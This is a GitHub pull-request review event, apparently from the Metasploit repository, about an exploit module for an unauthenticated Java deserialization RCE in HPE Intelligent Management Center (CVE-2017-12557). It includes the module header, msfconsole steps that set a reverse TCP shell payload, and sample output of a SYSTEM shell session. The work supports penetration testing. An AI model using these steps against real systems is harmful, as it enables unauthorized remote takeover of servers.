{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/233592841","pull_request_review_id":175044847,"id":233592841,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDIzMzU5Mjg0MQ==","diff_hunk":"@@ -0,0 +1,115 @@\n+##\n+# This module requires Metasploit: https://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+class MetasploitModule < Msf::Exploit::Remote\n+  Rank = ExcellentRanking\n+\n+  include Msf::Exploit::Remote::HttpClient\n+  include Msf::Exploit::Powershell\n+\n+  def initialize(info={})\n+    super(update_info(info,\n+      'Name'           => \"HP Intelligent Management Java Deserialization RCE\",\n+      'Description'    => %q{\n+        This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of\n+        Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required to exploit\n+        this vulnerability.\n+\n+        The specific flaw exists within the WebDMDebugServlet, which listens on TCP ports 8080 and 8443 by\n+        default. The issue results from the lack of proper validation of user-supplied data, which can result\n+        in deserialization of untrusted data. An attacker can leverage this vulnerability to execute arbitrary\n+        code in the context of SYSTEM.\n+      },\n+      'License'        => MSF_LICENSE,\n+      'Author'         =>\n+        [\n+            'Steven Seeley (mr_me) of Offensive Security',       # Discovery\n+            'Carsten @MaartmannMoe / cmm@transcendentgroup.com'  # Metasploit module\n+        ],\n+      'References'     =>\n+        [\n+            ['CVE', '2017-12557'],\n+            ['URL', 'https://github.com/pimps/ysoserial-modified/blob/master/src/main/java/ysoserial/payloads/JSON1.java'],\n+            ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-17-832/']\n+        ],\n+      'Platform'       => 'win',\n+      'Targets'        =>\n+        [\n+            [ 'HPE IMC 7.3 E0504P2 and earlier / Windows', {} ]\n+        ],\n+      'Privileged'     => true,\n+      'DisclosureDate' => \"Oct 3 2017\",\n+      'DefaultTarget'  => 0,\n+      'DefaultOptions' => {\n+            'SSL'      => false\n+      }))\n+\n+    register_options([\n+      OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']),\n+      Opt::RPORT('8080')\n+    ])\n+  end\n+\n+  def check","path":"modules/exploits/windows/http/hp_imc_java_deserialize.rb","position":55,"original_position":55,"commit_id":"541283a4dd266780f5f3b50e2010183e74d7f090","original_commit_id":"3770f121fed575c19a8ec9a8c5b9efe50e0cab54","user":{"login":"carmaa","id":584586,"node_id":"MDQ6VXNlcjU4NDU4Ng==","avatar_url":"https://avatars3.githubusercontent.com/u/584586?v=4","gravatar_id":"","url":"https://api.github.com/users/carmaa","html_url":"https://github.com/carmaa","followers_url":"https://api.github.com/users/carmaa/followers","following_url":"https://api.github.com/users/carmaa/following{/other_user}","gists_url":"https://api.github.com/users/carmaa/gists{/gist_id}","starred_url":"https://api.github.com/users/carmaa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/carmaa/subscriptions","organizations_url":"https://api.github.com/users/carmaa/orgs","repos_url":"https://api.github.com/users/carmaa/repos","events_url":"https://api.github.com/users/carmaa/events{/privacy}","received_events_url":"https://api.github.com/users/carmaa/received_events","type":"User","site_admin":false},"body":"One (and perhaps the best) way to check if the vulnerability is present is to \"exploit\" it by running `cmd /c timeout 10` as the payload, thus detecting it time-based. I'd suggest doing that if that's not frowned upon?","created_at":"2018-11-14T19:43:02Z","updated_at":"2018-11-14T19:43:02Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/10947#discussion_r233592841","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10947","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/233592841"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/10947#discussion_r233592841"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10947"}},"in_reply_to_id":232476830},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10947","id":229916792,"node_id":"MDExOlB1bGxSZXF1ZXN0MjI5OTE2Nzky","html_url":"https://github.com/rapid7/metasploit-framework/pull/10947","diff_url":"https://github.com/rapid7/metasploit-framework/pull/10947.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/10947.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10947","number":10947,"state":"open","locked":false,"title":"Add RCE exploit for CVE-2017-12557","user":{"login":"carmaa","id":584586,"node_id":"MDQ6VXNlcjU4NDU4Ng==","avatar_url":"https://avatars3.githubusercontent.com/u/584586?v=4","gravatar_id":"","url":"https://api.github.com/users/carmaa","html_url":"https://github.com/carmaa","followers_url":"https://api.github.com/users/carmaa/followers","following_url":"https://api.github.com/users/carmaa/following{/other_user}","gists_url":"https://api.github.com/users/carmaa/gists{/gist_id}","starred_url":"https://api.github.com/users/carmaa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/carmaa/subscriptions","organizations_url":"https://api.github.com/users/carmaa/orgs","repos_url":"https://api.github.com/users/carmaa/repos","events_url":"https://api.github.com/users/carmaa/events{/privacy}","received_events_url":"https://api.github.com/users/carmaa/received_events","type":"User","site_admin":false},"body":"Adds an exploit module for HPE Intelligent Management Center Java Deserialization RCE (Windows).\r\n\r\n## Test env setup\r\nOn a Windows machine, download and install HPE IMC from here:\r\n\r\nhttps://h10145.www1.hpe.com/downloads/DownloadSoftware.aspx?SoftwareReleaseUId=19066&ProductNumber=JG748AAE&lang=&cc=&prodSeriesId=&SaidNumber=\r\n\r\nYou need .Net 2.0, but that's the only dependency.\r\n\r\nMake sure to follow any instructions on setting up SSL correctly (certain cipher suites does not play well with the software). These instructions may vary depending on the win version you set it up on. On a Windows Server 2012 R2 I had to disable certain cipher suites.\r\n\r\n## Verification\r\n\r\nList the steps needed to make sure this thing works\r\n\r\n- [ ] Start `msfconsole`\r\n- [ ] `use exploit/windows/http/hp_imc_java_deserialize`\r\n- [ ] set RHOSTS\r\n- [ ] set payload windows/shell/reverse_tcp (would appreciate any inputs on how to make the default payload work without touching disk and without overstepping PSH payload length limits)\r\n- [ ] set LHOST\r\n- [ ] Receive reverse SYSTEM shell\r\n\r\n## Sample output\r\n\r\n```\r\nmsf5 exploit(windows/http/hp_imc_java_deserialize) > check\r\n[*] 192.168.1.2:8080 The target appears to be vulnerable.\r\nmsf5 exploit(windows/http/hp_imc_java_deserialize) > exploit\r\n\r\n[*] Started reverse TCP handler on 0.0.0.0:4444 \r\n[*] Encoded stage with x86/shikata_ga_nai\r\n[*] Sending encoded stage (267 bytes) to 192.168.1.2\r\n[*] Command shell session 1 opened (192.168.1.1:4444 -> 192.168.1.2:58113) at 2018-11-10 23:06:10 +0100\r\n\r\n\r\n\r\nC:\\Program Files\\iMC\\client\\bin>\r\n```","created_at":"2018-11-10T22:14:12Z","updated_at":"2018-11-14T19:43:02Z","closed_at":null,"merged_at":null,"merge_commit_sha":"863536c91d6d64d8e79e178ee1b8c1bf1e283af6","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":103436014,"node_id":"MDU6TGFiZWwxMDM0MzYwMTQ=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false},{"id":466360142,"node_id":"MDU6TGFiZWw0NjYzNjAxNDI=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/needs-docs","name":"needs-docs","color":"bfd4f2","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10947/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10947/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10947/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/541283a4dd266780f5f3b50e2010183e74d7f090","head":{"label":"carmaa:hp-imce-java-deserialize","ref":"hp-imce-java-deserialize","sha":"541283a4dd266780f5f3b50e2010183e74d7f090","user":{"login":"carmaa","id":584586,"node_id":"MDQ6VXNlcjU4NDU4Ng==","avatar_url":"https://avatars3.githubusercontent.com/u/584586?v=4","gravatar_id":"","url":"https://api.github.com/users/carmaa","html_url":"https://github.com/carmaa","followers_url":"https://api.github.com/users/carmaa/followers","following_url":"https://api.github.com/users/carmaa/following{/other_user}","gists_url":"https://api.github.com/users/carmaa/gists{/gist_id}","starred_url":"https://api.github.com/users/carmaa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/carmaa/subscriptions","organizations_url":"https://api.github.com/users/carmaa/orgs","repos_url":"https://api.github.com/users/carmaa/repos","events_url":"https://api.github.com/users/carmaa/events{/privacy}","received_events_url":"https://api.github.com/users/carmaa/received_events","type":"User","site_admin":false},"repo":{"id":156073611,"node_id":"MDEwOlJlcG9zaXRvcnkxNTYwNzM2MTE=","name":"metasploit-framework","full_name":"carmaa/metasploit-framework","private":false,"owner":{"login":"carmaa","id":584586,"node_id":"MDQ6VXNlcjU4NDU4Ng==","avatar_url":"https://avatars3.githubusercontent.com/u/584586?v=4","gravatar_id":"","url":"https://api.github.com/users/carmaa","html_url":"https://github.com/carmaa","followers_url":"https://api.github.com/users/carmaa/followers","following_url":"https://api.github.com/users/carmaa/following{/other_user}","gists_url":"https://api.github.com/users/carmaa/gists{/gist_id}","starred_url":"https://api.github.com/users/carmaa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/carmaa/subscriptions","organizations_url":"https://api.github.com/users/carmaa/orgs","repos_url":"https://api.github.com/users/carmaa/repos","events_url":"https://api.github.com/users/carmaa/events{/privacy}","received_events_url":"https://api.github.com/users/carmaa/received_events","type":"User","site_admin":false},"html_url":"https://github.com/carmaa/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/carmaa/metasploit-framework","forks_url":"https://api.github.com/repos/carmaa/metasploit-framework/forks","keys_url":"https://api.github.com/repos/carmaa/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/carmaa/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/carmaa/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/carmaa/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/carmaa/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/carmaa/metasploit-framework/events","assignees_url":"https://api.github.com/repos/carmaa/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/carmaa/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/carmaa/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/carmaa/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/carmaa/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/carmaa/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/carmaa/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/carmaa/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/carmaa/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/carmaa/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/carmaa/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/carmaa/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/carmaa/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/carmaa/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/carmaa/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/carmaa/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/carmaa/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/carmaa/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/carmaa/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/carmaa/metasploit-framework/merges","archive_url":"https://api.github.com/repos/carmaa/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/carmaa/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/carmaa/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/carmaa/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/carmaa/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/carmaa/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/carmaa/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/carmaa/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/carmaa/metasploit-framework/deployments","created_at":"2018-11-04T11:09:22Z","updated_at":"2018-11-04T11:09:45Z","pushed_at":"2018-11-12T19:46:50Z","git_url":"git://github.com/carmaa/metasploit-framework.git","ssh_url":"git@github.com:carmaa/metasploit-framework.git","clone_url":"https://github.com/carmaa/metasploit-framework.git","svn_url":"https://github.com/carmaa/metasploit-framework","homepage":"https://www.metasploit.com/","size":368272,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"7ee70f56553410f845391f501860ec62afe2b45d","user":{"login":"rapid7","id":1013671,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTM2NzE=","avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"node_id":"MDEwOlJlcG9zaXRvcnkyMjkzMTU4","name":"metasploit-framework","full_name":"rapid7/metasploit-framework","private":false,"owner":{"login":"rapid7","id":1013671,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTM2NzE=","avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2018-11-14T19:30:25Z","pushed_at":"2018-11-14T19:31:18Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"https://www.metasploit.com/","size":370229,"stargazers_count":14103,"watchers_count":14103,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":7379,"mirror_url":null,"archived":false,"open_issues_count":628,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":7379,"open_issues":628,"watchers":14103,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10947"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/10947"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10947"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10947/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10947/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10947/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/541283a4dd266780f5f3b50e2010183e74d7f090"}},"author_association":"CONTRIBUTOR"}}
{"actor":{"display_login":"carmaa"}}